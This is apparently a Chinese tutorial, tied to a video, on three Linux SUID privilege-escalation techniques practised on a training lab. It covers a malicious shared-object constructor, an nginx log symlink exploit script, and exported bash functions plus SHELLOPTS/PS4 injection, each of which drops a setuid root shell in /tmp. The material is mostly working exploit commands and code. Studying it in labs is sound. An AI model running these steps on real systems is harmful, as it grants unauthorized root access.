suid提权的三种思路

制作的视频教程

https://www.bilibili.com/video/BV1ok4y1m75p

方法一:shared object注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
find / -type f -perm -04000 -ls 2>/dev/null
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
mkdir /home/user/.config
vi libcalc.c


#include <stdio.h> 
#include <stdlib.h> 
static void inject() __attribute__((constructor)); 
void inject() { 
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); 
}

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

/usr/local/bin/suid-so

原理:某些程序运行时候,有着管理员权限,却可以被任何用户调用,这就是suid权限。 如果这个suid程序调用了某些shared object,可以通过伪造shared object,来伪造命令。以该程序的root权限,去执行提权命令。 cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p

注意,suid权限必须是二进制程序才能用,脚本程序是无效的。 概念:动态链接与静态链接的区别 .dll与.so的区别 编译语言编程基础,熟悉linux命令

方法二:symlik——符号链接

需要www-data权限,nginx版本在1.6.2-5+deb8u3版本以下。

发现

1
2
dpkg -l | grep nginx
su -l www-data

利用

1
2
3
4
使用exp去执行获得root权限,具体请看视频教程
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

invoke-rc.d nginx rotate >/dev/null 2>&1

方法三:环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
find / -type f -perm -04000 -ls 2>/dev/null
//查看有suid权限的程序

strings /usr/local/bin/suid-env
//查看二进制文件使用的函数

whereis service
//查看service的路径
/usr/sbin/service

---
echo $PATH
echo $USER
echo $PWD
echo $HOME
什么是环境变量:
可以使用export命令去定义环境变量
比如说:
环境变量与terminal终端息息相关,当打开了一个terminal,它就会自动加载环境
变量。
如何去使用环境变量:
export b=192.168.28.128
ping -c 4 $b

案例一:

首先了解一下export命令

1
2
3
4
5
6
7
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

export -f /usr/sbin/service

/usr/local/bin/suid-env2

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

案例二:

明确两个东西,一个是环境变量,一个是函数

1
2
3
4
5
6
7
8
9
10
11
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

//   "/usr/sbin/service" 函数名称
//   bash 定义一个很像service绝对路径的函数

export -f /usr/sbin/service
/usr/local/bin/suid-env2
//  将这个函数“/usr/sbin/service”保存到环境变量,并去执行suid程序“/usr/local/bin/suid-env2”
//   suid程序本来是想去执行service apache2 start,/usr/sbin/service
cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p;

参考资料